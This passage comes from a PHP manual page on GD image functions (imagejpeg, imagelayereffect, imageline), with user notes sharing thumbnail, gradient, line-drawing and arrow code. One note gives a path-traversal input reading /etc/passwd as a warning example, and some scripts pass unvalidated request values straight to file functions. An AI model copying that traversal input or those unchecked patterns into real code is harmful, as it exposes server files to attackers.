//Here $size_in_pixel = 100 for a thumbnail.
       $size_in_pixel = '100';

       $rate = $max/$size_in_pixel;
       $final_x = $x/$rate;
       $final_y = $y/$rate;

       if($final_x > $x) {
               $final_x = $x;
               $final_y = $y;
       }

       $final_x = ceil($final_x);
       $final_y = ceil($final_y);

       $black_picture = imageCreatetruecolor($final_x,$final_y);
       imagefill($black_picture,0,0,imagecolorallocate($black_picture, 255, 255, 255));
       imagecopyresampled($black_picture, $handle, 0, 0, 0, 0,$final_x, $final_y, $x, $y);

       if(!@imagejpeg($black_picture,$dest_pict.'/mini_'.$pict, $size_in_pixel))
       imagestring($black_picture, 1, $final_x-4, $final_y-8, ".", imagecolorallocate($black_picture,0,0,0));

       //The number is the quality of the result picture
       imagejpeg($black_picture,'', '100');
       imagedestroy($handle);
       imagedestroy($black_picture);
   }

$pict = "PICT7024.jpg";
$dest_pict = "D:/Program Files/EasyPHP1-7/www/test";
miniature($pict, $dest_pict);

?>
arjini at gmail dot com
13-Sep-2004 07:20
Scenario:
   When pointing your browser directly at a script outputting an image, it displays without problem, but when using it in another page via html (i.e. : img src="x.php?yada=yada" ), you get a broken image.

Reason:
   *Any* extra data sent along with the image will cause it to not display on other pages. Extra data may include, whitespace characters (check the begginings and ends of your files), or a call to session_start(), which is what got me.

Summary:
   If you're going to send an image DONT START A SESSION in the script that is outputting the image, and make sure that the PHP delimiters are the first and last things in your file.
10-Sep-2004 11:40
For best results, use only loss-less file formats (such as PNG) for storing images or image parts that you later intend to output with this function.
arjini at gmail dot com
08-Sep-2004 09:48
Converting a directory of PNG images into jpegs is as easy as:

<?php
   $d = dir('./');
   while(false !== ($e = $d->read())){
       if(strpos($e,'.png')){
           $r = imagecreatefrompng('./'.$e);
           imagejpeg($r,str_replace('.png','.jpg',$e),75);
       }
   }
?>

Don't let anybody convince you otherwise. Put that in the folder that the images are in and run it. I tried for 2 hours to get photoshop to do it, to no avail. PHP to the rescue!
Olav Alexander Mjelde
07-Jul-2004 08:31
Note to steve:
yes, this is true.. I simply forgot to think about that issue with the clear text to the script..

I think the easiest way to "fix" it, would be to replace the @ in the string with something which cant be used in an email adress..

Then the script would do a replace of excisting of that character..

abc@123.com would then be abc*123.com, which the script would parse back into abc@123.com
Steve
27-Jun-2004 09:14
Regarding Olav's attempt at avoiding spambots, the code will produce a string of code like requests.php?string=<email_address>, and most spambots will parse that email address right out.  You should either create static php scripts to output specific addresses, or do something like save a temporary file on the server with the address you want, and either pass the filename to the makeimage script or have the script open a specific file to check.  If you put the address anywhere on the page the spambot will parse it out, including a tag like href="mailto:xxx".  That's why people use forms to send email now.
Kokesh
26-Jun-2004 12:42
Here is the simple, but powerful script for creating thumbnails on the fly.
You can include the script
directly to www page - just put it in <img src= tag.
with width 150pix.
This resizer respects the ASPECT RATIO.
Here is the script:
<?php
// Use it this way: resize.php?pic=imageurl&width=width_in_pixels
// kokesh@kokeshnet.com 2004
   header("Content-type: image/jpeg");
   $im    = imagecreatefromjpeg($pic);
   $orange = imagecolorallocate($im, 220, 210, 60);
   $px    = (imagesx($im) - 7.5 * strlen($string)) / 2;

   $old_x=imageSX($im);
   $old_y=imageSY($im);

   $new_w=(int)($width);
   if (($new_w<=0) or ($new_w>$old_x)) {
     $new_w=$old_x;
   }

   $new_h=($old_x*($new_w/$old_x));

   if ($old_x > $old_y) {
       $thumb_w=$new_w;
       $thumb_h=$old_y*($new_h/$old_x);

   }
   if ($old_x < $old_y) {
       $thumb_w=$old_x*($new_w/$old_y);
       $thumb_h=$new_h;
   }
   if ($old_x == $old_y) {
       $thumb_w=$new_w;
       $thumb_h=$new_h;
   }
     $thumb=ImageCreateTrueColor($thumb_w,$thumb_h);
     imagecopyresized($thumb,$im,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);

   imagejpeg($thumb,"",90);
   imagedestroy($thumb);
?>
rich @ richud dot com
25-Jun-2004 04:49
'quality' must be a whole number however if a mixed number is given it only uses whole part, e.g. a given value of 90.987 results in 90 being used.
Tom Davis
08-Jun-2004 06:49
I came across a problem where Internet Explorer refused to cache some dynamically created images. To get round this, send out a Last-Modified header.

Eg:

<?php

header('Last-Modified: '.gmdate('D, d M Y H:i:s', $timestamp).' GMT');
header('Content-Type: image/jpeg');
imagejpeg($photo);

?>
26-May-2004 02:42
A word of warning when outputting images to the browser...

Make sure there is no extra spaces around the <?php ?> tags, in the file you are editing, and also any included files.

I began to think there was a bug in GD or something, and I checked the file I was working on, but forgot about the includes...

Hours gone..
stick [at] geek [dot] hu
24-May-2004 07:08
Just a note to Olav Alexander Mjelde's code: don't forget to put an
imagedestroy($im);
at the end of it or you can run into memory problems.
jannehonkonen at hotmail dot com
05-May-2004 01:44
I had problem wanting to insert stealth - copyrights into images. I could have done this easily with fopen and such, but I still wanted to use imagejpeg(); and it's quality feature. Well this is one kind of solution what I discovered, and seems to work fine.

--code--
$filename = "http://www.domain.com/something.jpg";
$im = imagecreatefromjpeg($filename);
imagejpeg($im,$ModImg,65);
$ModImg .= "This is the text added after EOF of the jpeg";
echo $ModImg;
--code--

As imagejpeg(); inserts imagedata into $ModImg, it does not show the image, but it seems to send headers in that point, so header(); is not needed before echoing variable. Text is viewable with Hex-editors etc.
Olav Alexander Mjelde
07-Apr-2004 09:24
Some people have never heard of spambots, searching the net for email adresses.
How do you avoid this?
Some people write emails like: olav-x AT volvo-power.net (mine btw),
but this will confuse "stupid" users.
The optimal sollution is to have an image with your email adress on.

* When using this function,
you have to put it in a non-html php file..
eg. I put it in a makeimage.php file.
so, how do you display it?

In your users.php, put this:

echo "<b>Email:</b>&nbsp;
       <img src=\"/sql/phpPictures/makeimage.php
         ?string={$row['email']}\">";

Below is the makeimage.php (working example)

<?php
header("Content-type: image/jpg");
if (!isset($string))
  {
   $string = "Missing data";
  }

$font  = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
//white background
$background_color = imagecolorallocate
                 ($im, 255, 255, 255);
//black text
$text_color = imagecolorallocate ($im, 0, 0,0);
imagestring ($im, $font, 0, 0,  $string, $text_color);

imagejpeg ($im);
?>

Enjoy..
php at andy-pearce dot com
20-Feb-2004 04:42
This might be too obvious, but perhaps worth pointing out. If you want to simply serve images without altering them, it's presumably more efficient to use something like the following:

<?php
   // Normally $filename would depend on $_GET, etc.
   $filename = '/photoalbum/images/test.jpg';
   header('Content-type: image/jpeg');
   header('Content-transfer-encoding: binary');
   header('Content-length: '.filesize($filename));
   readfile($filename);
?>

That way you avoid the overhead of reading and parsing the image, you simply send it directly to the browser.

This is particularly useful if you're using PHP to implement access controls, because it allows you to redirect files from areas of the filesystem browsers can't normally access (although the filename should always come from your script if possible, and not from a URL field, to prevent subverting it with URLs such as image.php?../../../etc/passwd).
gzink at zinkconsulting dot com
01-Jan-2004 07:17
Don't forget that JPEG compression has artifacts! And they're not all really obvious. The PHP JPEG compression is pretty decent, but it seems to generally:

-Lighten the image overall, by a reasonable amount (never seen this before, but it will drive graphic designers crazy, you might want to darken the image before compressing it)
-Reduce saturation, especially with images with lots of points of different color within a few pixels of each other (this is a documented feature of JPEG)
-Seriously mess with blue colors, which is common to all JPEG but really annoying in some situations with blue and black or other detailed blue parts

You might want to consider using imagepng() and outputting a PNG image instead of a JPEG if any of the above affect you, or your image is not very photo-like. Sometimes I have an algorithm compare JPEG to PNG for an image and send the smaller version to the user.

Also, when using imagepng(), you should use imageinterlace() before it 95% of the time. Interlaced JPEGs load progressively, improving in quality as the image loads, so users on slower connections see the whole image at low quality. All this happens without affecting the file size (actually, sometimes the file size is smaller!) or final quality.

Hope this helps a few people out. It's not all that obvious without lots of playing around.

-Galen
http://zinkconsulting.com/
chris AT NOSPAM sketchdiary DOT com
25-Sep-2003 07:20
Just a reminder, if you're passing a string of text via GET, you should rawurlencode() or urlencode() them.  Some older browsers (such as Netscape 4.x) have issues regarding spaces in the URL.

NS 4 shows a broken image:
<image src="newimage.php?text=Show me the text!">

Makes all browsers happy:
<image src="newimage.php?text=<? echo urlencode('Show me the text!'); ?>">

Better to be safe than sorry...
irishcybernerd at email dot com
30-May-2003 01:33
Rather than using the temporary file, as described above, you can buffer the output stream. Someone else showed me this, and it seems to work very nicely.

   //Start buffering the output stream
   ob_start();

   // output the image as a file to the output stream
   Imagejpeg($im);

   //Read the output buffer
   $buffer = ob_get_contents();

   //clear the buffer
   ob_end_clean();

   //use $buffer as you wish...
jt at tsw dot org dot uk
25-Feb-2003 11:39
I've just read all this AFTER solving the problem in my own little way. (this is re dumping the image into a string)

Im not actually saving the file to a database, but I'm passing it over XML:RPC so I have the constraint that I cant just dump it to browser, and also its not binary safe.. my solution does not involve ob_start(); which might arguably be the more elgant solution. I didnt see my solution listed, so I thought I aught to post it to add to the wealth of knowledge:

[apologies if this is incorrect, im snipping from a large bit of irrelevent XML:RPC catching stuff]

$tmpfname = tempnam ("/tmp", "FOO");      // Generate the temp file

Imagejpeg($im,$tmpfname);                        // save me image to the file

$temp = fopen($tmpfname,"rb");                  // <- Open the file for reading binary

$buffer = fread($temp,filesize($tmpfname));  // get that data into the buffer
fclose($temp);                                            // close the file
unlink($tmpfname);                                    // finished with the file, discard

$out = base64_encode($buffer);                  // encode it (not nessicary if you are using some kind of binary safe function with the info)

and of course on the other end of whatever your doing,

[ some function to get $in ]

header("Content-type: image/jpeg");
$in = base64_decode($buffer);          // get the binary data back
echo $in;

This should work with things like Imagepng

Hope that helps anyone out.
crazyted at crazyted dot com
20-Feb-2003 01:51
In regards to adding images (or any other binary file) to a database, unless you absolutely *have* to, a MUCH better solution is to simply save the file you create to a directory and update your database with a URL to this file.

When I first started DB development I was hung up with BLOBs and how to make them effectively work with PHP but realized that they can severely impact performance and you also limit what you can do with those files once they're inside the DB.

If you can avoid using BLOBs, and most people can, then by all means just create a look-up table for your file urls and save them to a directory to store the files. File access and scalability will be greatly increased in most cases.
dominik at deobald dot org
26-Dec-2002 11:27
About dwards's note: If you choose to send an image to the user directly and don't want to have "strange characters", you have to set the mime-type of the result the user is going to receive:

header('Content-Type: image/jpeg');
imagejpeg($img);
dward at outeru dot comewithnospam
20-Jul-2002 08:57
It took me quite a while to figure out how to output dynamic images along with html with my php scripts.

I may be dim but I'm sure I'm not the only one. So here it is if you need it.

Instead of sending the image directly to the browser, which ends up looking like a bunch of garbage to most users, send an IMG tag with the SRC attribute set to your PHP script that creates the image.

echo '<IMG SRC="makeimg.php?args=YourMakeImgArgs">';
dklein at gmx dot de
12-Dec-2001 12:52
Looks like any specified resolution settings in a JPEG file get lost when using imageJPEG() function in a script.
I had a high resolution JPEG which i added text to with imagestringup() so my customer can print the emailed JPEG as a filled form, but printing both Graphics from Photoshop revealed that any JPEG created is downsampled to 72 dpi, while width and height is kept.
(72 dpi is the standard web resolution)
Nothing to wonder about, but maybe if you read this you dont need to scratch your head :)
pingling at idea dot net dot pl
23-Oct-2001 07:27
As the GD 1.8.4 manual says, the quality should be a value in the range 0-95. And this seems to be true - setting it to 100 doesn't change the default quality.
godehardt at hotmail dot com
04-Jul-2001 03:28
If you call imagecreatefromjpeg and load a jpeg with 75% quality and output it with imagejpeg u can specify the new quality for e.g. 90% and u can increase quality, but output will look like 75% quality picture with the only difference that the new pic is bigger.

So u should check the source quality before u alter output quality. In most cases a quality of 75% is sufficient. For previews i use 50%.

But i make a check if source quality is lower than my personal output quality, i will not chance source quality !

Hope that helps your Webserver and keeps the traffic low :-)
fuxun at sina dot com
15-Jul-2000 07:03
For example:
<?
Header("Content-type: image/jpeg");
$im = imagecreatefromjpeg("./test.jpg");
Imagejpeg($im,'',20);
ImageDestroy($im);
?>
the jpeg quality from 0 to 100
add a note add a note

后退 | 起点 | 前进
imageistruecolor | 上一级 | imagelayereffect


imagelayereffect

(PHP 4 >= 4.3.0, PHP 5)

imagelayereffect -- 设定 alpha 混色标志以使用绑定的 libgd 分层效果

说明

bool imagelayereffect ( resource image, int effect )

警告

本函数暂无文档，仅有参数列表。

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

注: 本函数需要 GD 2.0.1 或更高版本。

add a note add a note User Contributed Notes
php dot net at quickzone dot cx
24-May-2005 07:21
I'm looking for a sample of this code in use.
06-Feb-2005 08:36
I assume, that the specific effects are similiar to those used in Adobe Photoshop for blending layers.
There might be things like IMG_EFFECT_MULTIPLY resulting of that.
ttoohey at php dot net
31-Oct-2004 01:33
This function is similar to the existing ImageAlphaBlending() function in that it affects the way pixel drawing will be done during any kind of drawing function. It extends the functionality by allowing you to use one of the effect modes (listed below).

"effect" takes one of the values:

IMG_EFFECT_REPLACE
Use pixel replacement (equivalent of ImageAlphaBlending(FALSE))

IMG_EFFECT_NORMAL
Use normal pixel blending (equivalent of ImageAlphaBlending(TRUE))

IMG_EFFECT_OVERLAY
   Use the overlay routine. Overlay has the effect that black background pixels will remain black, white background pixels will remain white, but grey background pixels will take the colour of the foreground pixel.
25-Sep-2004 12:12
I need the sample for this function
add a note add a note

后退 | 起点 | 前进
imagejpeg | 上一级 | imageline


imageline

(PHP 3, PHP 4, PHP 5)

imageline -- 画一条线段

说明

bool imageline ( resource image, int x1, int y1, int x2, int y2, int color )

imageline() 用 color 颜色在图像 image 中从坐标 x1，y1 到 x2，y2（图像左上角为 0, 0）画一条线段。

例子 1. 画一条粗线

<?php

function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)
{
    /* 下面两行只在线段直角相交时好使
    imagesetthickness($image, $thick);
    return imageline($image, $x1, $y1, $x2, $y2, $color);
    */
    if ($thick == 1) {
        return imageline($image, $x1, $y1, $x2, $y2, $color);
    }
    $t = $thick / 2 - 0.5;
    if ($x1 == $x2 || $y1 == $y2) {
        return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);
    }
    $k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q
    $a = $t / sqrt(1 + pow($k, 2));
    $points = array(
        round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),
        round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),
        round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),
        round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),
    );
    imagefilledpolygon($image, $points, 4, $color);
    return imagepolygon($image, $points, 4, $color);
}

?>

参见 imagecreatetruecolor() 和 imagecolorallocate()。

add a note add a note User Contributed Notes
pb_2001 at haefft dot de
05-Mar-2006 06:41
This is a function to make a dotted line. It accepts (it actually requires) 7 parameters and returns 1 if everything went OK and 0 if there was a problem.

int imagelinedotted ( resource im, int x1, int y1, int x2, int y2, int dist, int col )

imagelinedotted() draws a line from x1, y1 to x2, y2 (top left is 0, 0) in image im of colour col where dist defines the distance (measured in pixels) between one dot and another.

<?php
function imagelinedotted ($im, $x1, $y1, $x2, $y2, $dist, $col) {
   $transp = imagecolortransparent ($im);

   $style = array ($col);

   for ($i=0; $i<$dist; $i++) {
       array_push($style, $transp);        // Generate style array - loop needed for customisable distance between the dots
   }

   imagesetstyle ($im, $style);
   return (integer) imageline ($im, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
   imagesetstyle ($im, array($col));        // Reset style - just in case...
}
?>
fatpratmatt at gmail dot com
31-Jan-2006 03:43
Here is a function which draws lines that cross at a specific point [It may need some tweaking]:

<?php
// Image Cross by Matt Evans
// $im - image resource
// $x - x coordinate where the lines should cross
// $y - y coordinate where the lines should cross
// $size - the length of each line
// $colour - the colour of the cross

function imagecross($im, $x, $y, $size = 5, $colour) {
imageline($im, $x+$size/2, $y+$size/2, $x-$size/2, $y-$size/2, $colour);
imageline($im, $x-$size/2, $y+$size, $x+$size/2, $y-$size, $colour);
}

// Example
imagecross($im, 50, 50, 5, $crosscolour);
?>
21-Oct-2005 10:30
imageline coordinate variables are documented as int ,  a value in decimal format will be truncated.

This may be useful when, for example, applying a non-integer scaling factor in generating an image.

Care should be taken to ensure this does not create significant errors that affect the quality of the image. For example :

<?php
$x=0.00000000001;$y=100;
imageline($img,0,0,0,$y+$x);
imageline($img,0,0,0,$y-$x);
?>

the first line will be straight , the second will have a step. Use round() where appropriate.
meid at gmx dot at
08-Sep-2005 01:39
Some simple code to draw lines with specific thickness using "imagefilledpolygon". Useful if your gdlib does not support "imagesetthickness".

<?
function dickelinie($img,$start_x,$start_y,$end_x,$end_y,$color,$thickness)
{
   $angle=(atan2(($start_y - $end_y),($end_x - $start_x)));

   $dist_x=$thickness*(sin($angle));
   $dist_y=$thickness*(cos($angle));

   $p1x=ceil(($start_x + $dist_x));
   $p1y=ceil(($start_y + $dist_y));
   $p2x=ceil(($end_x + $dist_x));
   $p2y=ceil(($end_y + $dist_y));
   $p3x=ceil(($end_x - $dist_x));
   $p3y=ceil(($end_y - $dist_y));
   $p4x=ceil(($start_x - $dist_x));
   $p4y=ceil(($start_y - $dist_y));

   $array=array(0=>$p1x,$p1y,$p2x,$p2y,$p3x,$p3y,$p4x,$p4y);
   imagefilledpolygon ( $img, $array, (count($array)/2), $color );
}
// Example:
header ("Content-type: image/jpeg");
$img = ImageCreate (210, 210) or die("Cannot Initialize new GD image stream ");
$backgroundcolor = ImageColorAllocate ($img, 255, 255, 255);
$orange = ImageColorAllocate($img, 252, 102, 4);
dickelinie($img, 10, 10, 10, 200,$orange,2);
dickelinie($img, 10, 200, 200, 10,$orange,2);
dickelinie($img, 200, 10, 200, 200,$orange,2);
imagejpeg($img);
ImageDestroy($img);

?>
d [AT] sprid [DOT] de
06-Sep-2005 06:12
Here my function do clear all problems. With this, you can draw firstly smooth lines (basic code adapted from code_couturier at graffiti dot net, with some performance changes). The special is, you can define the alpha-value of the line (0 = normal smooth line, 127 = fully transparent). Change whatever you want to make it better, but post your results ;)

<?php
/**
 * function imageSmoothAlphaLine() - version 1.0
 * Draws a smooth line with alpha-functionality
 *
 * @param  ident    the image to draw on
 * @param  integer  x1
 * @param  integer  y1
 * @param  integer  x2
 * @param  integer  y2
 * @param  integer  red (0 to 255)
 * @param  integer  green (0 to 255)
 * @param  integer  blue (0 to 255)
 * @param  integer  alpha (0 to 127)
 *
 * @access  public
 *
 * @author  DASPRiD <d@sprid.de>
 */
function imageSmoothAlphaLine ($image, $x1, $y1, $x2, $y2, $r, $g, $b, $alpha=0) {
  $icr = $r;
  $icg = $g;
  $icb = $b;
  $dcol = imagecolorallocatealpha($image, $icr, $icg, $icb, $alpha);

  if ($y1 == $y2 || $x1 == $x2)
   imageline($image, $x1, $y2, $x1, $y2, $dcol);
  else {
   $m = ($y2 - $y1) / ($x2 - $x1);
   $b = $y1 - $m * $x1;

   if (abs ($m) <2) {
     $x = min($x1, $x2);
     $endx = max($x1, $x2) + 1;

     while ($x < $endx) {
       $y = $m * $x + $b;
       $ya = ($y == floor($y) ? 1: $y - floor($y));
       $yb = ceil($y) - $y;

       $trgb = ImageColorAt($image, $x, floor($y));
       $tcr = ($trgb >> 16) & 0xFF;
       $tcg = ($trgb >> 8) & 0xFF;
       $tcb = $trgb & 0xFF;
       imagesetpixel($image, $x, floor($y), imagecolorallocatealpha($image, ($tcr * $ya + $icr * $yb), ($tcg * $ya + $icg * $yb), ($tcb * $ya + $icb * $yb), $alpha));

       $trgb = ImageColorAt($image, $x, ceil($y));
       $tcr = ($trgb >> 16) & 0xFF;
       $tcg = ($trgb >> 8) & 0xFF;
       $tcb = $trgb & 0xFF;
       imagesetpixel($image, $x, ceil($y), imagecolorallocatealpha($image, ($tcr * $yb + $icr * $ya), ($tcg * $yb + $icg * $ya), ($tcb * $yb + $icb * $ya), $alpha));

       $x++;
     }
   } else {
     $y = min($y1, $y2);
     $endy = max($y1, $y2) + 1;

     while ($y < $endy) {
       $x = ($y - $b) / $m;
       $xa = ($x == floor($x) ? 1: $x - floor($x));
       $xb = ceil($x) - $x;

       $trgb = ImageColorAt($image, floor($x), $y);
       $tcr = ($trgb >> 16) & 0xFF;
       $tcg = ($trgb >> 8) & 0xFF;
       $tcb = $trgb & 0xFF;
       imagesetpixel($image, floor($x), $y, imagecolorallocatealpha($image, ($tcr * $xa + $icr * $xb), ($tcg * $xa + $icg * $xb), ($tcb * $xa + $icb * $xb), $alpha));

       $trgb = ImageColorAt($image, ceil($x), $y);
       $tcr = ($trgb >> 16) & 0xFF;
       $tcg = ($trgb >> 8) & 0xFF;
       $tcb = $trgb & 0xFF;
       imagesetpixel ($image, ceil($x), $y, imagecolorallocatealpha($image, ($tcr * $xb + $icr * $xa), ($tcg * $xb + $icg * $xa), ($tcb * $xb + $icb * $xa), $alpha));

       $y ++;
     }
   }
  }
} // end of 'imageSmoothAlphaLine()' function
?>
Tyron
03-May-2005 02:50
// Here's a function for drawing a rotated gradient Rectangle (based on a previous note)

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

GradientRect($img,50,50,80,80,30);

ImagePng($img,"test.png");
ImageDestroy($img);
echo "<br><img src=\"test.png\">";

function GradientRect($img, $x1, $y1, $x2, $y2, $wdt) {
  $alpha = atan2($y2-$y1,$x2-$x1);
  $real_wdt = $wdt*sin($alpha);
  $real_hgt = $wdt*cos($alpha);
  echo "real wdt:".$real_wdt;
  echo "<br>real hgt:".$real_hgt;
  echo "<br>angle: ".($angle*180/pi());
  $plotD = 0;
  $i=0;

  $dy = $real_hgt/$wdt;
  $dx = $real_wdt/$wdt;
  $drgb= 256/$wdt;
  while($i++ < $wdt) {
   // Draw a line and move it down and make it lighter to get the gradient effect
   ImageLine($img, $x1-$i*$dx, $y1+$i*$dy, $x2-$i*$dx, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));
   ImageLine($img, $x1-$i*$dx+1, $y1+$i*$dy, $x2-$i*$dx+1, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));

  }
}
ajreading at classixshop dot com
23-Apr-2005 10:28
<?php
// An easy bit of code showing how you can use the ImageLine() function to create gradients

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

$plotD = 0;
while($plotD < 256)
{
   // Draw a line and move it down and make it lighter to get the gradient effect
   ImageLine($img, 0, $plotD , 255, $plotD, ImageColorAllocate($img, $plotD, $plotD, $plotD));
   $plotD++;
}
Header("Content-type: image/png");
ImagePng($img);
ImageDestroy($img);
?>
eviloverlord at gmail dot com
27-Jan-2005 11:50
This code is used to draw a board of hexagons (for games, classes, etc.)

<?php
//Draws a hexagonal board

// User-defined values
$maxTiles = 7;                    //The number of tiles at the center (widest part) of the board
$minTiles = 4;                    //The number of tiles at the edges of the board
$side = 30;                        //The length of the sides of the tiles in pixels
$bgColor = array(0, 0, 0);        //The background color in RGB format
$fgColor = array(255, 255, 255);//The foreground color in RGB format

//Calculated values
$widthInTiles = range($maxTiles, $minTiles);            //In our example: 7, 6, 5, 4
$rowsInTiles = count($widthInTiles)*2-1;                //the total number of rows on our board
$xSide = $side*sin(deg2rad(60));                        //the length of the x-part of the angled sides
$ySide = $side*sin(deg2rad(30));                        //the length of the y-part of the angled sides
$boardWidth = $xSide*$widthInTiles[0]*2;                //The entire width of the board
$boardHeight = $rowsInTiles*($side + $ySide) + $ySide;    //The entire height of the board

// create a blank image and allocate the foreground, background colors
$image = imagecreate($boardWidth, $boardHeight);
$bg = imagecolorallocate($image, $bgColor[0], $bgColor[1], $bgColor[2]);
$fg = imagecolorallocate($image, $fgColor[0], $fgColor[1], $fgColor[2]);

// draw the board
$row = 0;
foreach($widthInTiles as $tiles)
{
   for ($i = 0; $i < $tiles+1; $i++)
   {
       $x1 = $row*$xSide + $i*$xSide*2;
       $y1 = $boardHeight/2;
       $y1Dif = ($side/2) + $row*($side+$ySide);

       $x2 = $x1 + $xSide;
       $y2 = $y1;
       $y2Dif = $ySide;

       $x3 = $x2 + $xSide;

       if ($i < $tiles)
       {
           imageline($image, $x1, $y1 - $y1Dif, $x2, $y2 - $y1Dif - $y2Dif, $fg);
           imageline($image,  $x1, $y1 + $y1Dif, $x2, $y2 + $y1Dif + $y2Dif, $fg);
           imageline($image, $x2, $y2 - $y1Dif - $y2Dif, $x3, $y1 - $y1Dif, $fg);
           imageline($image, $x2, $y2 + $y1Dif + $y2Dif, $x3, $y1 + $y1Dif, $fg);
       }

       imageline($image, $x1, $y1 - $y1Dif, $x1, $y1 - $y1Dif + $side, $fg);
       imageline($image, $x1, $y1 + $y1Dif, $x1, $y1 + $y1Dif - $side, $fg);
   }
   $row++;
}

// output the picture
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>
likavcan at NOSPAN sturak nospan dot sk
06-Jun-2004 06:56
This function draws arrow.

function arrow($im, $x1, $y1, $x2, $y2, $alength, $awidth, $color) {

   $distance = sqrt(pow($x1 - $x2, 2) + pow($y1 - $y2, 2));

   $dx = $x2 + ($x1 - $x2) * $alength / $distance;
   $dy = $y2 + ($y1 - $y2) * $alength / $distance;

   $k = $awidth / $alength;

   $x2o = $x2 - $dx;
   $y2o = $dy - $y2;

   $x3 = $y2o * $k + $dx;
   $y3 = $x2o * $k + $dy;

   $x4 = $dx - $y2o * $k;
   $y4 = $dy - $x2o * $k;

   imageline($im, $x1, $y1, $dx, $dy, $color);
   imageline($im, $x3, $y3, $x4, $y4, $color);
   imageline($im, $x3, $y3, $x2, $y2, $color);
   imageline($im, $x2, $y2, $x4, $y4, $color);

}
Lionel Van Bemten
23-May-2004 06:41
here is a code to draw a "degraded" ... :
<?
header("Content-type : image/jpeg");

$image = @ImageCreate(200, 100)
  or die ("Erreur de cration de l'image");

$lignes_colorees = 1;
$couleur_fond = ImageColorAllocate($image, 255, 255, 255);

$rouge_depart = 100;
$vert_depart = 255;
$bleu_depart = 0;

$rouge_fin = 0;
$vert_fin = 100;
$bleu_fin = 0;

$lignes = 100; //nb de lignes de l'image

$vert_diff = $vert_fin - $vert_depart;
$vert1 = $vert_diff / $lignes;

$bleu_diff = $bleu_fin - $bleu_depart;
$bleu1 = $bleu_diff / $lignes;

$rouge_diff = $rouge_fin - $rouge_depart;
$rouge1 = $rouge_diff / $lignes;

while ($lignes_colorees <= 100)
{
   $rouge2 = $lignes_colorees * $rouge1;    $rouge3 = $rouge_depart + $rouge2;
   $rouge = round($rouge3);

   $vert2 = $lignes_colorees * $vert1;
   $vert3 = $vert_depart + $vert2;
   $vert = round($vert2);

   $bleu2 = $lignes_colorees * $bleu1;
   $bleu3 = $bleu_depart + $bleu2;
   $bleu = round($bleu2);

   $y1 = $lignes_colorees;
   $y2 = $lignes_colorees;
   $x1 = 1;    $x2 = 200;

   $couleur = ImageColorAllocate($image, $rouge, $vert, $bleu);
   //dessine la ligne
   ImageLine($image, $x1, $y1, $x2, $y2, $couleur);    $lignes_colorees ++;
}

//dessine l'image
ImageJpeg($image);
?>
ruturaj_v at yahoo dot com
14-May-2004 11:48
here is a function that helps you create arrows...

<?php
function get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang) {
   $debug = false;

   define("INFINITE", 'INFINITE');
   if (($x2-$x1)==0) {
       if ($y1 == 0) {
           $slope = 0;
       } else {
           $slope = INFINITE;
       }
   } else {
       $slope = -($y2-$y1)/($x2-$x1);
   }

   //$slope = number_format($slope, 2, '.','');
   if ($slope == 'INFINITE') {
       $ang = 90;
   } else {
       $ang = atan ($slope);
       $ang = ($ang * 180)/pi();
   }
   //$ang = number_format($ang, 2, '.', '');
   //echo ($ang);
   //exit;

   //convert the angle
   $arrang1 = ($ang - $arrang);
   $arrangdeg1 = ($ang - $arrang);
   //echo ($arrang1);exit;
   $arrang1 = ($arrang1*pi())/180;

   $arrang2 = ($ang + $arrang);
   $arrangdeg2 = ($ang + $arrang);
   $arrang2 = ($arrang2*pi())/180;
   //echo ($arrang1);

   $arx1 = (floor(cos($arrang1)*$arrhead));
   $ary1 = (floor(sin($arrang1)*$arrhead));
   $arx2 = (floor(cos($arrang2)*$arrhead));
   $ary2 = (floor(sin($arrang2)*$arrhead));
   if ($debug) {
       echo ("Values of arx1.. before add/sub</br>");
       echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$arx2,$ary2</br>");
   }
   if ($ang==0) {
       if ($x2 > $x1) {
           $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
           $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
       } elseif ($x2 < $x1) {
           $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
           $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
       }
   }
   if ($ang > 0 && $ang < 90) {
       if (($x2 > $x1) && ($y2 < $y1)) {
           $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
           $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
       } elseif (($x2 < $x1) && ($y2 > $y1)) {
           $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
           $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
       }
   }
   if ($ang==90) {
       if (($y2 > $y1)) {
           $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
           $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
       } elseif (($y2 < $y1)) {
           $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
           $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
       }
   }
   if ($ang > -90 && $ang < 0) {
       if (($x2 > $x1) && ($y2 > $y1)) {
           $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
           $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
       } elseif (($x2 < $x1) && ($y2 < $y1)) {
           $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
           $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
       }
   }

   if ($debug) {
